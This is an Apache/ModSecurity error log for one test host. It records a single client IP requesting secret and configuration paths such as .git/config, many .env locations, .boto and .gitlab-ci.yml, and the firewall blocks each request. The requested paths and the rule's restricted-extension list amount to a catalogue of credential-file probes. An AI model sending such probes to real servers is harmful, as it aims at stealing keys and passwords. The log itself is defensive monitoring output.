[Thu Feb 26 01:02:49.769924 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlGwAAAAI&quot;]
[Thu Feb 26 01:02:49.798243 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.github/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlHAAAAAI&quot;]
[Thu Feb 26 01:02:49.798481 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlHAAAAAI&quot;]
[Thu Feb 26 01:02:49.798636 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlHAAAAAI&quot;]
[Thu Feb 26 01:02:49.850655 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4UwAAAAY&quot;]
[Thu Feb 26 01:02:49.851196 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4UwAAAAY&quot;]
[Thu Feb 26 01:02:49.851382 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4UwAAAAY&quot;]
[Thu Feb 26 01:02:49.862918 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlHgAAAAI&quot;]
[Thu Feb 26 01:02:49.863194 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlHgAAAAI&quot;]
[Thu Feb 26 01:02:49.863389 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlHgAAAAI&quot;]
[Thu Feb 26 01:02:49.894632 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlHwAAAAI&quot;]
[Thu Feb 26 01:02:49.894910 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlHwAAAAI&quot;]
[Thu Feb 26 01:02:49.895082 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlHwAAAAI&quot;]
[Thu Feb 26 01:02:49.948815 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.gitlab-ci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlIAAAAAI&quot;]
[Thu Feb 26 01:02:49.949092 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlIAAAAAI&quot;]
[Thu Feb 26 01:02:49.949283 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlIAAAAAI&quot;]
[Thu Feb 26 01:02:49.957181 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.bitbucket/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4VQAAAAY&quot;]
[Thu Feb 26 01:02:49.957421 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4VQAAAAY&quot;]
[Thu Feb 26 01:02:49.957598 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4VQAAAAY&quot;]
[Thu Feb 26 01:02:49.971475 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.gitlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlIQAAAAI&quot;]
[Thu Feb 26 01:02:49.971690 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlIQAAAAI&quot;]
[Thu Feb 26 01:02:49.971838 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlIQAAAAI&quot;]
[Thu Feb 26 01:02:49.984139 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4VgAAAAY&quot;]
[Thu Feb 26 01:02:49.984375 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4VgAAAAY&quot;]
[Thu Feb 26 01:02:49.984548 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4VgAAAAY&quot;]
[Thu Feb 26 01:02:50.011003 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aZ-NqoCbt-ue5ARpbmjlIgAAAAI&quot;]
[Thu Feb 26 01:02:50.011277 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aZ-NqoCbt-ue5ARpbmjlIgAAAAI&quot;]
[Thu Feb 26 01:02:50.011449 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aZ-NqoCbt-ue5ARpbmjlIgAAAAI&quot;]
[Thu Feb 26 01:02:50.046932 2026] [authz_core:error] [pid 2330790] [client 185.177.72.22:9448] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Thu Feb 26 01:02:50.078742 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aZ-NqoCbt-ue5ARpbmjlJAAAAAI&quot;]
[Thu Feb 26 01:02:50.079019 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aZ-NqoCbt-ue5ARpbmjlJAAAAAI&quot;]
[Thu Feb 26 01:02:50.079203 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aZ-NqoCbt-ue5ARpbmjlJAAAAAI&quot;]
[Thu Feb 26 01:02:50.100913 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.c9/metadata/environment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4WAAAAAY&quot;]
